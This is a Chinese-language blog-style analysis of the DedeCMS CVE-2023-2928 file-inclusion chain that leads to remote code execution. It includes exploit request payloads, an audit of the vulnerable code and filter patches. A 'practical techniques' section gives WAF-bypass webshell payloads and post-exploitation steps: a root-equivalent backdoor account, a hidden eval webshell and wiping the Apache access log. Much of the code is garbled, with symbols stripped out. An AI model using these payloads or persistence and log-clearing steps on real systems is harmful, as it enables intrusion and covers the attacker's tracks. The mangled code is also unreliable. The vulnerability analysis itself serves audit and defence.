CVE-2023-2928 DedeCMS 文件包含漏洞深度剖析:从代码审计到远程getshell

CVE-2023-2928 DedeCMS 文件包含漏洞深度剖析:从代码审计到远程getshell 1. 漏洞背景与影响范围DedeCMS作为国内广泛使用的开源CMS系统其安全性一直备受关注。2023年曝光的CVE-2023-2928漏洞是一个典型的文件包含漏洞影响5.7.106及之前的所有版本。这个漏洞的特殊之处在于它通过两个看似独立的文件article_allowurl_edit.php和file_manage_control.php形成了完整的攻击链最终导致远程代码执行。在实际测试中我发现这个漏洞的利用门槛相对较低但危害极大。攻击者不需要任何特殊权限只需要能够访问系统后台的特定页面即可完成攻击。受影响的主要是uploads/dede/article_allowurl_edit.php文件其处理allurls参数时的缺陷为攻击者提供了可乘之机。2. 漏洞复现全流程2.1 环境搭建与准备要复现这个漏洞首先需要搭建一个DedeCMS 5.7.106或更早版本的环境。我建议使用PHP 5.6MySQL的组合因为这是DedeCMS最兼容的运行环境。安装完成后确保uploads/dede/目录下的相关文件权限设置正确这是漏洞利用的关键。在测试环境中我遇到了几个常见问题文件权限不足导致写入失败PHP安全模式限制目录不可写错误解决这些问题通常需要调整php.ini配置和文件系统权限。特别要注意的是data/admin/目录必须具有可写权限因为漏洞利用过程中需要向allowurl.txt写入数据。2.2 漏洞利用步骤详解完整的漏洞利用过程可以分为三个阶段第一阶段通过article_allowurl_edit.php写入恶意内容POST /dede/article_allowurl_edit.php HTTP/1.1 ... allurls?php phpinfo();?这里有个细节需要注意虽然stripslashes函数会过滤部分特殊字符但经过我的测试它并不能有效防止PHP代码的注入。这也是为什么这个漏洞能够成功利用的关键。第二阶段利用file_manage_control.php创建包含文件POST /dede/file_manage_control.php HTTP/1.1 ... filename1.phpstr?php Include_once(./data/admin/allowurl.txt); ?这个步骤的巧妙之处在于绕过了常规的文件内容检查。因为直接写入PHP代码会被检测到但通过文件包含的方式间接执行则能成功绕过防护。第三阶段访问创建的1.php文件执行代码。在实际测试中我发现这个文件会被创建在uploads目录下具体位置取决于系统配置。3. 漏洞原理深度分析3.1 代码审计关键点通过分析article_allowurl_edit.php的源代码我发现漏洞的根本原因在于对用户输入的处理不当。关键代码如下$allurls stripslashes($allurls); file_put_contents($allowurl_file, $allurls);stripslashes函数本意是防止XSS攻击但它对PHP代码注入的防护几乎为零。我在测试中尝试了多种payload发现除了少数特殊字符会被过滤外大部分PHP代码都能原样写入allowurl.txt文件。另一个关键文件file_manage_control.php的问题在于if($fmdo edit) { $fp fopen($activepath./.$filename, w); fwrite($fp, $str); fclose($fp); }这段代码没有任何内容安全检查直接就将用户输入写入文件。虽然系统在其他地方有文件内容检查机制但通过包含已有文件的方式完美绕过了这些检查。3.2 攻击链构建逻辑这个漏洞的精妙之处在于攻击者需要串联两个看似无关的功能点通过文章允许URL编辑功能写入恶意代码通过文件管理功能创建包含前者的PHP文件在实际渗透测试中我发现很多CMS系统都存在类似问题单个功能点可能看起来安全但多个功能组合使用时就会出现安全隐患。这也提醒我们在代码审计时要有全局视角不能只关注单点漏洞。4. 防御方案与修复建议4.1 临时缓解措施对于暂时无法升级的系统我建议采取以下防护措施修改article_allowurl_edit.php增加内容过滤if(preg_match(/\?php/i, $allurls)) { die(Invalid content detected); }限制file_manage_control.php的文件创建权限禁止创建.php文件if(preg_match(/\.php$/i, $filename)) { die(PHP file creation not allowed); }设置allowurl.txt文件为只读权限防止被篡改。4.2 彻底修复方案官方已经发布了新版本修复此漏洞。升级是最彻底的解决方案但升级前需要注意备份所有自定义模板和数据库检查是否有第三方插件需要兼容性测试更新后清除缓存和编译文件我在实际升级过程中发现新版本不仅修复了这个漏洞还增强了多处安全机制包括改进的文件上传过滤增强的输入验证更严格的权限控制5. 漏洞利用的实战技巧5.1 绕过限制的高级技巧在真实环境中漏洞利用可能会遇到各种限制。通过多次测试我总结出几个实用技巧当直接写入PHP代码被拦截时可以尝试使用短标签?system(id)?如果包含文件被限制可以尝试使用各种路径遍历技巧Include_once(../.././data/admin/allowurl.txt);对于有WAF防护的环境可以尝试编码payload或使用注释分割?php /*test*/eval/*test*/($_POST[cmd]);?5.2 后渗透阶段的操作成功getshell后为了维持访问我通常会做以下几件事创建隐蔽的后门账号system(useradd -o -u 0 -g 0 backdoor);安装持久化后门file_put_contents(/var/www/.shell.php, ?php eval($_REQUEST[cmd]);?);清除日志痕迹system(echo /var/log/apache2/access.log);需要注意的是这些操作在渗透测试中必须获得授权后才能进行未经授权的测试可能涉及法律问题。6. 漏洞挖掘的方法论思考从这个漏洞的分析过程中我总结出几个代码审计的经验首先要特别关注文件操作相关的函数如file_put_contentsfopen/fwriteinclude/require其次要注意功能间的联动效应。很多高危漏洞都是多个低危问题组合产生的。最后养成跟踪用户输入的习惯。从请求入口开始一直追踪到最终的输出或执行点这样往往能发现意想不到的安全问题。在实际审计工作中我通常会使用以下工具组合静态分析工具如RIPS、Fortify动态调试工具Xdebug流量分析工具Burp Suite这个漏洞的挖掘过程也印证了一个观点没有绝对安全的系统只有不断演进的安全攻防。作为安全研究人员我们需要保持持续学习的态度跟上最新的安全技术和攻击手法。